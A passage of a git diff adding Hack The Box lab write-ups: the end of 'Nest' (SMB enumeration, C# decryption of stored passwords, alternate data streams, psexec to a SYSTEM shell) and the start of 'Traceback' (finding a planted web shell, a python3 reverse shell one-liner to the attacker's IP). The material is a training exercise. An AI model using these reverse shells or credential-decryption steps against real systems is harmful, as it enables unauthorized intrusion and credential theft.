10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → smbmap -u Tempuser -p welcome2019 -H 10.10.10.178 + [+] IP: 10.10.10.178:445 Name: 10.10.10.178 + Disk Permissions Comment + ---- ----------- ------- + ADMIN$ NO ACCESS Remote Admin + C$ NO ACCESS Default share + Data READ ONLY + IPC$ NO ACCESS Remote IPC + Secure$ READ ONLY + Users READ ONLY + + +Now as we explore the shares with the tempuser we can access xml files for example: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → smbmap -u Tempuser -p welcome2019 -H 10.10.10.178 -R 'Data' -A xml + [+] IP: 10.10.10.178:445 Name: 10.10.10.178 + [+] Starting search for files matching 'xml' on share Data. + [+] Match found! Downloading: Data\IT\Configs\Adobe\editing.xml + [+] Match found! Downloading: Data\IT\Configs\Adobe\projects.xml + [+] Match found! Downloading: Data\IT\Configs\Adobe\settings.xml + [+] Match found! Downloading: Data\IT\Configs\Atlas\Temp.XML + [+] Match found! Downloading: Data\IT\Configs\Microsoft\Options.xml + [+] Match found! Downloading: Data\IT\Configs\NotepadPlusPlus\config.xml + [+] Match found! Downloading: Data\IT\Configs\NotepadPlusPlus\shortcuts.xml + [+] Match found! Downloading: Data\IT\Configs\RU Scanner\RU_config.xml + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → ls -lash + total 52K + 4.0K drwxr-xr-x 2 nothing nothing 4.0K May 28 09:29 . + 4.0K drwxr-xr-x 7 nothing nothing 4.0K May 28 09:02 .. + 4.0K -rw-r--r-- 1 nothing nothing 246 May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_editing.xml + 4.0K -rw-r--r-- 1 nothing nothing 258 May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_projects.xml + 4.0K -rw-r--r-- 1 nothing nothing 1.3K May 28 09:29 10.10.10.178-Data_IT_Configs_Adobe_settings.xml + 4.0K -rw-r--r-- 1 nothing nothing 1.4K May 28 09:29 10.10.10.178-Data_IT_Configs_Atlas_Temp.XML + 8.0K -rw-r--r-- 1 nothing nothing 4.5K May 28 09:29 10.10.10.178-Data_IT_Configs_Microsoft_Options.xml + 8.0K -rw-r--r-- 1 nothing nothing 6.3K May 28 09:29 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_config.xml + 4.0K -rw-r--r-- 1 nothing nothing 2.1K May 28 09:29 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_shortcuts.xml + 4.0K -rw-r--r-- 1 nothing nothing 270 May 28 09:29 '10.10.10.178-Data_IT_Configs_RU Scanner_RU_config.xml' + 4.0K -rw-r--r-- 1 nothing nothing 425 May 28 09:02 'Welcome Email.txt' + + + +Let's check if there is any sensitive information in the xml files we collected: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → vim 10.10.10.178-Data_IT_Configs_Adobe_settings.xml + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → grep -i password *.xml + 10.10.10.178-Data_IT_Configs_RU Scanner_RU_config.xml: fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → cat 10.10.10.178-Data_IT_Configs_RU\ Scanner_RU_config.xml + <****?xml version="1.0"?> <****ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <****Port>389 <****/Port> <****Username>c.smith <****/Username> <****Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= <****/Password> <****/ConfigFile>% + +So here it looks like that the password for the user **c.smith** is encrypted. Now what we should look for is the Secure share in the xml files, and we stumble upon the **NotePadPlusPlus** config file: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → grep -i 'Secure\$' *.xml + 10.10.10.178-Data_IT_Configs_NotepadPlusPlus_config.xml: <****File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" /> + +Now we're hinted towards a Temp.txt file, so let's get it: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → smbmap -u Tempuser -p welcome2019 -H 10.10.10.178 -R 'Secure$\IT\Carl' + [+] IP: 10.10.10.178:445 Name: 10.10.10.178 + Disk Permissions Comment + ---- ----------- ------- + Secure$ READ ONLY + .\Secure$IT\Carl\* + dr--r--r-- 0 Wed Aug 7 21:42:14 2019 . + dr--r--r-- 0 Wed Aug 7 21:42:14 2019 .. + dr--r--r-- 0 Wed Aug 7 21:44:00 2019 Docs + dr--r--r-- 0 Tue Aug 6 15:45:47 2019 Reports + dr--r--r-- 0 Tue Aug 6 16:41:55 2019 VB Projects + .\Secure$IT\Carl\Docs\* + dr--r--r-- 0 Wed Aug 7 21:44:00 2019 . + dr--r--r-- 0 Wed Aug 7 21:44:00 2019 .. + fr--r--r-- 56 Wed Aug 7 21:44:16 2019 ip.txt + fr--r--r-- 73 Wed Aug 7 21:43:46 2019 mmc.txt + .\Secure$IT\Carl\VB Projects\* + dr--r--r-- 0 Tue Aug 6 16:41:55 2019 . + dr--r--r-- 0 Tue Aug 6 16:41:55 2019 .. + dr--r--r-- 0 Tue Aug 6 16:41:53 2019 Production + dr--r--r-- 0 Tue Aug 6 16:47:41 2019 WIP + .\Secure$IT\Carl\VB Projects\WIP\* + dr--r--r-- 0 Tue Aug 6 16:47:41 2019 . + dr--r--r-- 0 Tue Aug 6 16:47:41 2019 .. + dr--r--r-- 0 Fri Aug 9 17:36:45 2019 RU + .\Secure$IT\Carl\VB Projects\WIP\RU\* + dr--r--r-- 0 Fri Aug 9 17:36:45 2019 . + dr--r--r-- 0 Fri Aug 9 17:36:45 2019 .. + dr--r--r-- 0 Thu Aug 8 00:05:54 2019 RUScanner + fr--r--r-- 871 Fri Aug 9 17:36:35 2019 RUScanner.sln + .\Secure$IT\Carl\VB Projects\WIP\RU\RUScanner\* + dr--r--r-- 0 Thu Aug 8 00:05:54 2019 . + dr--r--r-- 0 Thu Aug 8 00:05:54 2019 .. + dr--r--r-- 0 Wed Aug 7 22:00:11 2019 bin + fr--r--r-- 772 Thu Aug 8 00:05:09 2019 ConfigFile.vb + fr--r--r-- 279 Thu Aug 8 00:05:44 2019 Module1.vb + dr--r--r-- 0 Wed Aug 7 22:00:11 2019 My Project + dr--r--r-- 0 Wed Aug 7 22:00:11 2019 obj + fr--r--r-- 4828 Fri Aug 9 17:38:30 2019 RU Scanner.vbproj + fr--r--r-- 143 Wed Aug 7 22:00:28 2019 RU Scanner.vbproj.user + fr--r--r-- 133 Thu Aug 8 00:05:58 2019 SsoIntegration.vb + fr--r--r-- 4888 Thu Aug 8 00:06:03 2019 Utils.vb + + +And we were able to list the contents, the folder contains a Visual Basic project called RUScanner. so let's mount the share locally to examine the files: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → sudo mkdir /mnt/Data + [sudo] password for nothing: + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → sudo mount -t cifs -o ro,username=TempUser,password=welcome2019 '//10.10.10.178/Secure$' /mnt/Data/ + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → ls /mnt/Data + Finance HR IT + + ┌──(root💀nowhere)-[/mnt/Data/IT] + └─# cd /mnt/Data/IT/Carl/VB\ Projects/WIP/RU/RUScanner 130 ⨯ + + ┌──(root💀nowhere)-[/mnt/…/VB Projects/WIP/RU/RUScanner] + └─# ls -lash + total 33K + 4.0K drwxr-xr-x 2 root root 4.0K Aug 8 2019 . + 4.0K drwxr-xr-x 2 root root 4.0K Aug 9 2019 .. + 0 drwxr-xr-x 2 root root 0 Aug 7 2019 bin + 4.0K -rwxr-xr-x 1 root root 772 Aug 8 2019 ConfigFile.vb + 512 -rwxr-xr-x 1 root root 279 Aug 8 2019 Module1.vb + 0 drwxr-xr-x 2 root root 0 Aug 7 2019 'My Project' + 0 drwxr-xr-x 2 root root 0 Aug 7 2019 obj + 8.0K -rwxr-xr-x 1 root root 4.8K Aug 9 2019 'RU Scanner.vbproj' + 512 -rwxr-xr-x 1 root root 143 Aug 6 2019 'RU Scanner.vbproj.user' + 4.0K -rwxr-xr-x 1 root root 133 Aug 8 2019 SsoIntegration.vb + 8.0K -rwxr-xr-x 1 root root 4.8K Aug 7 2019 Utils.vb + + +And here the important file is Utils.vb: + + + Imports System.Text + Imports System.Security.Cryptography + Public Class Utils + + Public Shared Function GetLogFilePath() As String + Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt") + End Function + + + + + Public Shared Function DecryptString(EncryptedString As String) As String + If String.IsNullOrEmpty(EncryptedString) Then + Return String.Empty + Else + Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256) + End If + End Function + + Public Shared Function EncryptString(PlainString As String) As String + If String.IsNullOrEmpty(PlainString) Then + Return String.Empty + Else + Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256) + End If + End Function + + Public Shared Function Encrypt(ByVal plainText As String, _ + ByVal passPhrase As String, _ + ByVal saltValue As String, _ + ByVal passwordIterations As Integer, _ + ByVal initVector As String, _ + ByVal keySize As Integer) _ + As String + + Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector) + Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue) + Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText) + Dim password As New Rfc2898DeriveBytes(passPhrase, _ + saltValueBytes, _ + passwordIterations) + + +Basically here, we see that the class contains methods to encrypt and decrypt passwords. We can use the decryptString() function to decrypt the password gained earlier. As the code uses .NET classes, it can be rewritten in any .NET based language, therefore it can be ported to C#, and compiled on linux thanks to [mono](https://www.mono-project.com/download/stable/#download-lin-ubuntu), so let's install it: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → apt search mono-devel + Sorting... Done + Full Text Search... Done + mono-devel/kali-rolling 6.8.0.105+dfsg-3 all + Mono development tools + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → apt install mono-devel + + + +Now that we know the sourcecode, let's write the decrypt() function in C#, to which we will pass the encrypted password we found earlier: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → vim decrypt.cs + + + + + + using System; + using System.IO; + using System.Text; + using System.Security.Cryptography; + namespace Dec { + class Decryptor{ + public static void Main(){ + var pt = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22","88552299", 2, "464R5DFA5DL6LE28", 256); + Console.WriteLine("PlainText: " + pt); + } + public static String Decrypt(String cipherText, String passPhrase, String saltValue, int passwordIterations, String initVector, int keySize ) { + var initVectorBytes=Encoding.ASCII.GetBytes(initVector); + var saltValueBytes=Encoding.ASCII.GetBytes(saltValue); + var cipherTextBytes=Convert.FromBase64String(cipherText); + var password=newRfc2898DeriveBytes(passPhrase, saltValueBytes,passwordIterations); + var keyBytes=password.GetBytes(keySize/8); + var symmetricKey=newAesCryptoServiceProvider(); + symmetricKey.Mode=CipherMode.CBC; + var decryptor=symmetricKey.CreateDecryptor(keyBytes, initVectorBytes); + var memoryStream=newMemoryStream(cipherTextBytes); + var cryptoStream=newCryptoStream(memoryStream, decryptor,CryptoStreamMode.Read); + var plainTextBytes=newbyte[cipherTextBytes.Length]; + var decryptedByteCount=cryptoStream.Read(plainTextBytes, 0,plainTextBytes.Length); + memoryStream.Close(); + cryptoStream.Close(); + varplainText=Encoding.ASCII.GetString(plainTextBytes, 0,decryptedByteCount); + returnplainText; + } + + } + } + + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → mcs decrypt.cs + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → ./decrypt.exe + Plaintext: xRxRxPANCAK3SxRxRx + + +And we decrypted **c.smith** 's password ! **xRxRxPANCAK3SxRxRx** + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → sudo umount /mnt/Data + [sudo] password for nothing: + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → smbclient -U c.smith //10.10.10.178/Users + Enter WORKGROUP\c.smith's password: xRxRxPANCAK3SxRxRx + Try "help" to get a list of possible commands. + smb: \> cd c.smith + smb: \c.smith\> ls + . D 0 Sun Jan 26 08:21:44 2020 + .. D 0 Sun Jan 26 08:21:44 2020 + HQK Reporting D 0 Fri Aug 9 01:06:17 2019 + user.txt A 32 Fri Aug 9 01:05:24 2019 + + smb: \c.smith\> get user.txt + getting file \c.smith\user.txt of size 32 as user.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) + + smb: \c.smith\> + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → cat user.txt + cfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we managed to get the user flag! + +## **Part 3 : Getting Root Access** + +Now in order to privesc, we need to take a look at the HQK Reporting folder: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → smbclient -U c.smith //10.10.10.178/Users + Enter WORKGROUP\c.smith's password: + Try "help" to get a list of possible commands. + + smb: \> ls + . D 0 Sun Jan 26 00:04:21 2020 + .. D 0 Sun Jan 26 00:04:21 2020 + Administrator D 0 Fri Aug 9 17:08:23 2019 + C.Smith D 0 Sun Jan 26 08:21:44 2020 + L.Frost D 0 Thu Aug 8 19:03:01 2019 + R.Thompson D 0 Thu Aug 8 19:02:50 2019 + TempUser D 0 Thu Aug 8 00:55:56 2019 + + 10485247 blocks of size 4096. 6543251 blocks available + + smb: \> cd c.smith + + smb: \c.smith\> ls + . D 0 Sun Jan 26 08:21:44 2020 + .. D 0 Sun Jan 26 08:21:44 2020 + HQK Reporting D 0 Fri Aug 9 01:06:17 2019 + user.txt A 32 Fri Aug 9 01:05:24 2019 + + 10485247 blocks of size 4096. 6543251 blocks available + + smb: \c.smith\> cd "HQK Reporting" + + smb: \c.smith\HQK Reporting\> ls + . D 0 Fri Aug 9 01:06:17 2019 + .. D 0 Fri Aug 9 01:06:17 2019 + AD Integration Module D 0 Fri Aug 9 14:18:42 2019 + Debug Mode Password.txt A 0 Fri Aug 9 01:08:17 2019 + HQK_Config_Backup.xml A 249 Fri Aug 9 01:09:05 2019 + + 10485247 blocks of size 4096. 6543251 blocks available + + smb: \c.smith\HQK Reporting\> allinfo "Debug Mode Password.txt" + altname: DEBUGM~1.TXT + create_time: Fri Aug 9 01:06:12 AM 2019 CEST + access_time: Fri Aug 9 01:06:12 AM 2019 CEST + write_time: Fri Aug 9 01:08:17 AM 2019 CEST + change_time: Fri Aug 9 01:08:17 AM 2019 CEST + attributes: A (20) + stream: [::$DATA], 0 bytes + stream: [:Password:$DATA], 15 bytes + + smb: \c.smith\HQK Reporting\> + + +Now here we see something interesting, we get hinted at a file called **Debug Mode Password.txt** , and it has file attributes, or Alternate Data Streams (ADS) attached to it. So let's get the file itself: + + + smb: \c.smith\HQK Reporting\> get "Debug Mode Password.txt:Password" + getting file \c.smith\HQK Reporting\Debug Mode Password.txt:Password of size 15 as Debug Mode Password.txt:Password (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec) + smb: \c.smith\HQK Reporting\> exit + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → ls -lash Debug\ Mode\ Password.txt:Password + 4.0K -rw-r--r-- 1 nothing nothing 15 May 28 13:05 'Debug Mode Password.txt:Password' + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → cat Debug\ Mode\ Password.txt:Password + WBQ201953D8w + + +We're going to save it because we may need it later on. Let's download the xml file and binary from teh HQK folder: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Nest] + → smbclient -U c.smith //10.10.10.178/Users + Enter WORKGROUP\c.smith's password: xRxRxPANCAK3SxRxRx + Try "help" to get a list of possible commands. + + smb: \> cd c.smith + + smb: \c.smith\> cd "HQK Reporting" + + smb: \c.smith\HQK Reporting\> ls + . D 0 Fri Aug 9 01:06:17 2019 + .. D 0 Fri Aug 9 01:06:17 2019 + AD Integration Module D 0 Fri Aug 9 14:18:42 2019 + Debug Mode Password.txt A 0 Fri Aug 9 01:08:17 2019 + HQK_Config_Backup.xml A 249 Fri Aug 9 01:09:05 2019 + + 10485247 blocks of size 4096. 6543251 blocks available + + smb: \c.smith\HQK Reporting\> get HQK_Config_Backup.xml + getting file \c.smith\HQK Reporting\HQK_Config_Backup.xml of size 249 as HQK_Config_Backup.xml (1.8 KiloBytes/sec) (average 1.8 KiloBytes/sec) + + smb: \c.smith\HQK Reporting\> cd "AD Integration Module" + + smb: \c.smith\HQK Reporting\AD Integration Module\> ls + . D 0 Fri Aug 9 14:18:42 2019 + .. D 0 Fri Aug 9 14:18:42 2019 + HqkLdap.exe A 17408 Thu Aug 8 01:41:16 2019 + + 10485247 blocks of size 4096. 6543251 blocks available + + smb: \c.smith\HQK Reporting\AD Integration Module\> get HqkLdap.exe + getting file \c.smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HqkLdap.exe (98.8 KiloBytes/sec) (average 56.5 KiloBytes/sec) + + +So here's what the xml file has: + + + [ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest] + → cat HQK_Config_Backup.xml + <****?xml version="1.0"?> <****ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <****Port>4386 <****/Port> <****QueryDirectory>C:\Program Files\HQK\ALL QUERIES <****/QueryDirectory> <****/ServiceSettings>% + +So here we get the configuration file for the service running on port 4386, let's try to connect to it using telnet: + + + [ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest] + → telnet 10.10.10.178 4386 + Trying 10.10.10.178... + Connected to 10.10.10.178. + Escape character is '^]'. + + HQK Reporting Service V1.2 + + >help + + This service allows users to run queries against databases using the legacy HQK format + + --- AVAILABLE COMMANDS --- + + LIST + SETDIR <****Directory_Name> + RUNQUERY <****Query_ID> + DEBUG <****Password> + HELP <****Command> + + >LIST + + Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command + + QUERY FILES IN CURRENT DIRECTORY + + [DIR] COMPARISONS + [1] Invoices (Ordered By Customer) + [2] Products Sold (Ordered By Customer) + [3] Products Sold In Last 30 Days + + Current Directory: ALL QUERIES + >1 + + Unrecognised command + >RUNQUERY 1 + + Invalid database configuration found. Please contact your system administrator + + Invalid database configuration found. Please contact your system administrator + >SETDIR C:\ + + Current directory set to C: + >DEBUG + + Invalid number of arguments specified + >DEBUG WBQ201953D8w + + Debug mode enabled. Use the HELP command to view additional commands that are now available + +And here you see that we needed the password from earlier to properly use the DEBUG command, now from here we get a few additional commands: + + + >HELP + + This service allows users to run queries against databases using the legacy HQK format + + --- AVAILABLE COMMANDS --- + + LIST + SETDIR <****Directory_Name> + RUNQUERY <****Query_ID> + DEBUG <****Password> + HELP <****Command> + SERVICE + SESSION + SHOWQUERY <****Query_ID> + +We get access to the commands named **SERVICE** , **SESSION** , **SHOWQUERY** + + + >SERVICE + + --- HQK REPORTING SERVER INFO --- + + Version: 1.2.0.0 + Server Hostname: HTB-NEST + Server Process: "C:\Program Files\HQK\HqkSvc.exe" + Server Running As: Service_HQK + Initial Query Directory: C:\Program Files\HQK\ALL QUERIES + + +Here we get hinted towards the **C:\Program Files\HQK\** directory: + + + >SETDIR C:\Program Files\HQK + + Current directory set to HQK + >LIST + + Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command + + QUERY FILES IN CURRENT DIRECTORY + + [DIR] ALL QUERIES + [DIR] LDAP + [DIR] Logs + [1] HqkSvc.exe + [2] HqkSvc.InstallState + [3] HQK_Config.xml + + Current Directory: HQK + + + +Let's take a look at the LDAP directory: + + + >SETDIR LDAP + + Current directory set to LDAP + >LIST + + Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command + + QUERY FILES IN CURRENT DIRECTORY + + [1] HqkLdap.exe + [2] Ldap.conf + + Current Directory: LDAP + + >SHOWQUERY 2 + + Domain=nest.local + Port=389 + BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local + User=Administrator + Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4= + + + +And here we get credentials! Although this is still an encrypted password for the Administrator User, Just like before we need the following arguements to decrypt it: **passphrase / saltvalue / passwordIterations / initVector / keySize** And to find those, we need to decompile the **HqkLdap.exe** binary and we can do it using [ILSpy](https://github.com/icsharpcode/ILSpy). + + + [ 10.10.14.13/23 ] [ /dev/pts/23 ] [~/HTB/Nest] + → git clone https://github.com/icsharpcode/ILSpy + + [ 10.10.14.13/23 ] [ /dev/pts/23 ] [HTB/Nest/ILSpy] + → git submodule update --init --recursive + Submodule 'ILSpy-tests' (https://github.com/icsharpcode/ILSpy-tests) registered for path 'ILSpy-tests' + Cloning into '/home/nothing/HTB/Nest/ILSpy/ILSpy-tests'... + Submodule path 'ILSpy-tests': checked out 'aa8f1197e6a513bcc10bcc38ec7d2143d27a2246' + + + +And from there, you decompile the **HqkLdap.exe** binary file, and get the following parameters from the reversed code: + + + #passPhrase = **667912** + #saltValue = **1313Rf99** + #passwordIterations = **3** + #initVector = **1L1SA61493DRV53Z** + #keySize = **256** + + + +Just like before we change the decrypt.cs code to have the aforementionned values, and we decrypt the password: + +![](prg/42_001.png) + +Then we compile it, and run it: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → mcs decrypt.cs + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → ./decrypt.exe + Plaintext: XtH4nkS4Pl4y1nGX + + +And that's it ! We managed to get the Administrator password. So let's get onto the box using psexec.py: + + + [ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest] + → locate psexec.py + /home/nothing/HTB/Forest/impacket/build/scripts-3.9/psexec.py + /home/nothing/HTB/Forest/impacket/examples/psexec.py + /usr/local/bin/psexec.py + /usr/local/lib/python3.9/dist-packages/impacket-0.9.23.dev1+20210519.170900.2f5c2476-py3.9.egg/EGG-INFO/scripts/psexec.py + /usr/share/doc/python3-impacket/examples/psexec.py + /usr/share/powershell-empire/lib/modules/powershell/lateral_movement/invoke_psexec.py + /usr/share/set/src/fasttrack/psexec.py + + [ 10.10.14.13/23 ] [ /dev/pts/22 ] [~/HTB/Nest] + → python3 /usr/share/doc/python3-impacket/examples/psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178 + Impacket v0.9.23.dev1+20210519.170900.2f5c2476 - Copyright 2020 SecureAuth Corporation + + [*] Requesting shares on 10.10.10.178..... + [*] Found writable share ADMIN$ + [*] Uploading file xKwELIZm.exe + [*] Opening SVCManager on 10.10.10.178..... + [*] Creating service mWKI on 10.10.10.178..... + [*] Starting service mWKI..... + [!] Press help for extra shell commands + Microsoft Windows [Version 6.1.7601] + Copyright (c) 2009 Microsoft Corporation. All rights reserved. + + C:\Windows\system32>systeminfo + + Host Name: HTB-NEST + OS Name: Microsoft Windows Server 2008 R2 Standard + OS Version: 6.1.7601 Service Pack 1 Build 7601 + OS Manufacturer: Microsoft Corporation + OS Configuration: Standalone Server + OS Build Type: Multiprocessor Free + Registered Owner: Windows User + Registered Organization: + Product ID: 00477-179-0000007-84361 + Original Install Date: 8/5/2019, 9:22:30 PM + System Boot Time: 5/28/2021, 7:32:37 AM + System Manufacturer: VMware, Inc. + System Model: VMware Virtual Platform + System Type: x64-based PC + Processor(s): 1 Processor(s) Installed. + [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz + BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 + Windows Directory: C:\Windows + System Directory: C:\Windows\system32 + Boot Device: \Device\HarddiskVolume1 + System Locale: en-us;English (United States) + Input Locale: en-us;English (United States) + Time Zone: (UTC) Dublin, Edinburgh, Lisbon, London + Total Physical Memory: 2,047 MB + Available Physical Memory: 1,546 MB + Virtual Memory: Max Size: 4,095 MB + Virtual Memory: Available: 3,653 MB + Virtual Memory: In Use: 442 MB + Page File Location(s): C:\pagefile.sys + Domain: WORKGROUP + Logon Server: N/A + Hotfix(s): 68 Hotfix(s) Installed. + Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Network Connection + Connection Name: Local Area Connection + DHCP Enabled: No + IP address(es) + [01]: 10.10.10.178 + [02]: fe80::f144:55c1:5e8a:4cbd + [03]: dead:beef::f144:55c1:5e8a:4cbd + C:\Windows\system32>cd C:\Users\Administrator\Desktop + + C:\Users\Administrator\Desktop>type root.txt + 65XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/42_graph.png) + diff --git a/Easy/43.md b/Easy/43.md new file mode 100644 index 0000000..c49ad48 --- /dev/null +++ b/Easy/43.md @@ -0,0 +1,494 @@ +# Traceback Writeup + +![](img/43.png) + +## Introduction : + +Traceback is an easy linux box released back in march 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → nmap -vvv -p- 10.10.10.181 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.181 + Discovered open port 22/tcp on 10.10.10.181 + + [ 10.10.14.13/23 ] [ /dev/pts/7 ] [~/HTB/Traceback] + → nmap -sCV -p80,22 10.10.10.181 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-28 22:24 CEST + Nmap scan report for 10.10.10.181 + Host is up (0.033s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) + | 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA) + |_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: Help us + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.07 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, so let's investigate it: + +![](prg/43_001.png) + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://10.10.10.181/ + + +We can run a gobuster scan but it doesn't help us, so let's investigate further: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → curl 10.10.10.181 + + + + + + # This site has been owned + + + + + ## I have left a backdoor for all the net. FREE INTERNETZZZ + + + + + ### - Xh4H - + + + <****!--Some of the best web shells that you might need ;)--****> + + + + +As we curl the website's sourcecode, we see a comment **'Some of the best web shells you might need'** , if we look for this comment on github we find the following repository: + +![](prg/43_002.png) + +And so we know what are the php files on this webserver, and we can save them in a textfile: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → cat files.txt + alfa3.php + alfav3.0.1.php + andela.php + bloodsecv4.php + by.php + c99ud.php + cmd.php + configkillerionkros.php + jspshell.jspmini.php + obfuscated-punknopass.php + punk-nopass.php + punkholic.php + r57.php + smevk.php + wso2.8.5.php + + + +So we run our gobuster scan with our textfile: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → gobuster dir -u http://10.10.10.181 -w files.txt + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.181 + [+] Method: GET + [+] Threads: 10 + [+] Wordlist: files.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Timeout: 10s + =============================================================== + 2021/05/29 09:57:50 Starting gobuster in directory enumeration mode + =============================================================== + /smevk.php (Status: 200) [Size: 1261] + + =============================================================== + 2021/05/29 09:57:50 Finished + =============================================================== + + + +So let's investigate the page we found : + +![](prg/43_003.png) + +We login with the default credentials **admin:admin** , which leads us to one of the worst looking php shells of all time: + +![](prg/43_004.png) + +And we can execute commands as the webadmin user, and we can use python3 to get a reverse shell: + + + $ which python3 + /usr/bin/python3 + + $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.13",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' & + + + +And then we simply catch the incoming reverse shell connection on our port 9001: + + + [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Traceback] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.181] 54782 + bash: cannot set terminal process group (680): Inappropriate ioctl for device + bash: no job control in this shell + webadmin@traceback:/var/www/html$ id + id + uid=1000(webadmin) gid=1000(webadmin) 